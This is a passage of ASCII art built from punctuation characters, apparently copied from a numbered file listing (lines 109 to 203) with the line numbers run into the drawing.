;@#,,,,,,,,,,,,,,,,,,:#@#,,,,,,,,,,,,#f:::::::@;,,,,,,,,,,,,,,,,,,,,:#;;;;;;;;;@,,,,,,,,,,,,,,,,,,,,,,,,+@@ 109 | @+,,,,,,,,,,,,,,,,,,,,,,,:@@:,,,,,,,,,,@:::::'@,,,,,,,,,,,,,,,,,,,,,,;';;;;;;;;#+,,,,,,,,,,,,,,,,,,,,,,,,;; 110 | ,@,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@:,,,,,,,,,@#'#@+,,,,,,,,,,,,,,,,,,,,,,,;+;;;;;;;+@,,,,,,,,,,,,,,,,,,,,,,@@@;@ 111 | .@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@,,,,,,,,,;':,,,,,,,,,,,,,,,,,,,,,,,,,,#;;;;;;'@,,,,,,,,,,,,,,,,,,,,,,:@ ;: 112 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;@:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@;;;;;'@,,,,,,,,,,,,,,,,,,,,,,,@@@#':.` 113 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@;;;+@,,,,,,,,,,,,,,,,,,,,,,,#+,,::;+#@@@@@@@#+;,. 114 | ;+,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@,,,,,,,,,,,,,,,,,,,,,,,:@,,,,,,,,,,,,,,,,,,:'#@@@#, 115 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,#@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@+,,,,,,,,,,,,,,,,,,,,,,,,@,,,,,,,,,,,,,,,,,,,,,,,,,,;#@@@:` 116 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@,,,,,,,,,,,,,,,,,,,,,,,,,@:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;#@@+. 117 | ;;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'@;,,,,,,,,,,,,,,,,,,,,,,,,:#+,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:+@@#` 118 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@;,,,,,,,,,,,,,,,,,,,,,,,,,,,'@#,,,,,,,,,,,,,,,,,,,,,,,,,:+@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,+@@' 119 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@;::,,,,,,,,,,,,,,,,,,,,,,+@+,,,,,,,,,,,,,,,,,,,,,,,,,::;@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:#@@. 120 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@:::::::::,,,,,,,,,,,,:@@;,,,,,,,,,,,,,,,,,,,,,,,,,::::@:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'@@, 121 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@+:::::::::::,,,,,,,,,':,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;@@, 122 | ;;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@,::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:::::@'@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'@@` 123 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:#,:::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:::::@#,#,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,#@; 124 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@@;,,::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::::#@ #:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;@# 125 | :+,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::::'@ @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@@ 126 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:::::::;@ @,,,,,,:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ 127 | .@,::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,:@@@:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:::::::;@ @,,,,,::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;@ 128 | #':::::::::::::::::::,,,,,,,,,:::::,,:+,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::::::'@ :+,,,,,::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@ 129 | @;::::::::::::::::::::::::::::::;@@@+@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:::::::::+# #:,,,,,::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@ 130 | @':::::::::::::::::::::::::::'@#,,,':,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:::::::::#+ @,,,,,::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@ 131 | @#::::::::::::::::::::::::#@#,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:::::::::@; @,,,,,::::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@ 132 | :@':::::::::::::::::::'@@;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:::::::::@. @,,,,,::::::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@ 133 | +@#::::::::::::;'#@@+,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::::::;@ :+,,,,,::::::::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@ 134 | .#@@@@@#@@@@@@+:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::::::+@ #:,,,,,::::::::::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@ 135 | ,+,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::::::@+ @,,,,,::::::::::::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ 136 | @:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::::;@. @,,,,,::::::::::::::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ 137 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::::#@ `@,,,,,::::::::::::::::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@ 138 | :@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::;@: ;',,,,,:::::::::::::::::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ 139 | @:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::@@ @:,,,,::::::::::::::::::::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ 140 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::+@' @,,,,,:::::::::::::::::::::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,@ 141 | ;@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::+#, @,,,,,:::::::::::::::::::::::::::::::,,,,,,,,,,,,,,,,,,,,,,,# 142 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:,@. @,,,,,:::::::::@@@+:::::::::::::::::::,,,,,,,,,,,,,,,,,,,,,# 143 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@` '',,,,,::::::::'+ :@@#::::::::::::::::::,,,,,,,,,,,,,,,,,,@ 144 | '#,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ @,,,,,:::::::::@ `#@@':::::::::::::::,,,,,,,,,,,,,,,,@ 145 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ @,,,,,::::::::#, ;@@#:::::::::::::,,,,,,,,,,,,,,@ 146 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ `@+, @,,,,,::::::::@ .@@@;:::::::::::,,,,,,,,,,,@ 147 | '+,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ @:;@@@@: .@,,,,,:::::::@` +@@+:::::::::,,,,,,,,,@ 148 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ @::,,,,;#@@@;,,,,,::::::;# :@@#;::::::,,,,,,,@ 149 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ @:::,,,,,,,,,,,,,:::::::@ `#@@'::::,,,,,@ 150 | +',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ @:::::,,,,,,,,,,,::::::+' ;@@#::,,,@ 151 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ @::::::,,,,,,,,,,::::::@ .@@@;@ 152 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ #;::::::,,,,,,,,,:::::#. +` 153 | #;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ ;':::::::,,,,,,,,:::::@ 154 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ .#:::::::::,,,,,:::::@ 155 | `@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ @::::::::::,,,,::::'+ 156 | #:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ @:::::::::::,,,::::@ 157 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ @:::::::::::::,:::#, 158 | `#,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ @:::::::'@;:::::::@ 159 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,# @+:'::::#`+@@':::@` 160 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;: @+:+:'::@ ;@@## 161 | .#,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,# #+:+:+:+@ . 162 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ ;#++++'+@ 163 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@. .#++++++@ 164 | ,',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;#+@@@,@++++++@ 165 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@++++#@++++++@ 166 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@++++++++++++@ 167 | :;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'@+++++++++++@ 168 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@+++++++++++# 169 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@+++++++++++' 170 | ;;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,#@@#+++++++#: 171 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ ;@@#++++#. 172 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ .@@@#@ 173 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@' '@ 174 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@ 175 | #,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ 176 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ 177 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'. 178 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:' 179 | @,,,,,::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,# 180 | :',,,::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,@ 181 | @,,:::::::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,::::::::::::::::::::::,,,,,,,,,,,,,,,,,,,@ 182 | ';,:::::::::::::::::,,,,,,,,,,,,,,,,,:::::::::::::::::::::::::::::::,,,,,,,,,,,,,,,+ 183 | @,::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::,,,,,,,,,,,:: 184 | @::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::,,,,,,,,,+ 185 | `@:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::,,,,,,,@ 186 | @'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::,,,,,:' 187 | :@@#@::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::,,,,@ 188 | #@;,,,,@@#::::::::::::::::::::::;'#@@@@@@@@@@@@@@#::::::::::::::::::::::::::::,,@` 189 | @@,,,,,,,,,;+:::::::::;;'+#@@@@@#+;,` .'@@@@';::::::::::::::::::::::::::::::::::,@; 190 | @#,,;,,,,,,,:::::::+@@@#@:.` `;#@@@#':::::::::::::::::::::::::::::@+ 191 | #@,,@@:,,,,,,:::::::::::::@ ,#@@@@#'::::::::::::::::::::::':;@@` 192 | @;,@@,,'@@,,,:::::::::::::@' `'@@@@@#;:::::::::::::+:::::::@@` 193 | @,@#,:@@+,,,:::::::::::;#@@. :+@@@@@#+++#@@@@'::::::::,@@ 194 | .@@,:@#,,,,,:::::;'#@@@'` ;';;;:::::::::::,,,,,:@# 195 | .#,#@,,,,:'#@@@@@+. ;'::::::::::,,,,,,,,,@#'@, 196 | ,'@@@@@#+:` @#;:::::,,,,,,,,,,@','@;@@ 197 | `;@@#;,,,,,,,,,,,,#@+,#@;@` 198 | `'@@+,,,,,,,,,,#@;:@;@: 199 | `+@#:,,,,,,,#@,@@@. 200 | `+@@:,,,,,#@'@+ 201 | ;@@;,,,;#,@ 202 | .@@@#@@ 203 | --------------------------------------------------------------------------------